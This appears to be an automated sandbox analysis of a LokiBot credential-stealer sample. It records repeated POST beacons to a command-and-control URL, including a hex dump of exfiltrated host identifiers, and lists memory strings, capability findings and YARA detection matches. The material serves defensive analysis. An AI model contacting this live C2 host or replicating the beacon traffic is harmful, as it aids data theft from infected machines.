Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: closeData Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 39 00 33 00 39 00 35 00 34 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 00 37 00 31 00 00 05 00 00 00 04 00 00 01 00 01 00 01 00 0a 00 00 00 01 00 00 00 01 00 30 00 00 00 38 00 46 00 39 00 43 00 34 00 45 00 39 00 43 00 37 00 39 00 41 00 33 00 42 00 35 00 32 00 42 00 33 00 46 00 37 00 33 00 39 00 34 00 33 00 30 00 Data Ascii: (ckav.ruhardz093954DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 163Connection: close

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable / 403 Forbidden)

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 08:24:20 GMTServer: ApacheConnection: closeContent-Type: text/html; charset=UTF-8Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 08:24:22 GMTServer: ApacheConnection: closeContent-Type: text/html; charset=UTF-8Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

URLs found in memory or binary data

Source: __.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: __.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: __.exe, 00000003.00000003.422484605.00000000007BC000.00000004.00000001.sdmp, __.exe, 00000003.00000003.316225767.00000000007BD000.00000004.00000001.sdmp, __.exe, 00000003.00000002.553140471.00000000004A0000.00000040.00000001.sdmp	String found in binary or memory: http://slimpackage.com/slimmain/five/fre.php
Source: __.exe, 00000003.00000003.422484605.00000000007BC000.00000004.00000001.sdmp, __.exe, 00000003.00000003.316225767.00000000007BD000.00000004.00000001.sdmp	String found in binary or memory: http://slimpackage.com/slimmain/five/fre.php3
Source: __.exe, __.exe, 00000003.00000000.293455627.0000000000400000.00000040.00000001.sdmp, __.exe, 00000003.00000001.298801287.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: http://www.ibsensoftware.com/

Posts data to webserver

Source: unknown

HTTP traffic detected: POST /slimmain/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: slimpackage.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: CC3B1AEContent-Length: 190Connection: close

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: slimpackage.com

Contains functionality to download additional files from the internet

Source: C:\Users\user\Desktop\__.exe

Code function: 3_2_00404ED4 recv,

3_2_00404ED4

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality for read data from the clipboard

Source: C:\Users\user\Desktop\__.exe

Code function: 2_2_00404F61 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

2_2_00404F61

System Summary:

Malicious sample detected (through community Yara rule)

Source: 3.0.__.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.__.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.__.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.__.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.__.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.__.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.__.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.__.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.__.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.__.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.__.exe.23e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 2.2.__.exe.23e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.__.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.__.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.1.__.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.1.__.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.__.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.2.__.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.__.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.__.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.__.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.__.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.1.__.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.1.__.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.__.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.__.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.__.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.2.__.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.__.exe.23e0000.3.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 2.2.__.exe.23e0000.3.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.__.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.__.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.293455627.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000003.00000000.293455627.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.294708391.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000003.00000000.294708391.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.296551442.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000003.00000000.296551442.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000001.298801287.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000003.00000001.298801287.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.295652868.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000003.00000000.295652868.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.553100353.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000003.00000002.553100353.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.299558111.00000000023E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000002.00000002.299558111.00000000023E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

Uses 32bit PE files

Source: __.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Yara signature match

Source: 3.0.__.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.__.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.__.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 3.0.__.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.__.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.__.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 3.0.__.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.__.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.__.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 3.0.__.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.__.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.__.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 3.0.__.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.__.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.__.exe.23e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 2.2.__.exe.23e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 2.2.__.exe.23e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.__.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 3.0.__.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.__.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.1.__.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 3.1.__.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.1.__.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.__.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.2.__.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.__.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.__.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.__.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.__.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.1.__.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.1.__.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.__.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 3.0.__.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.__.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.__.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.2.__.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
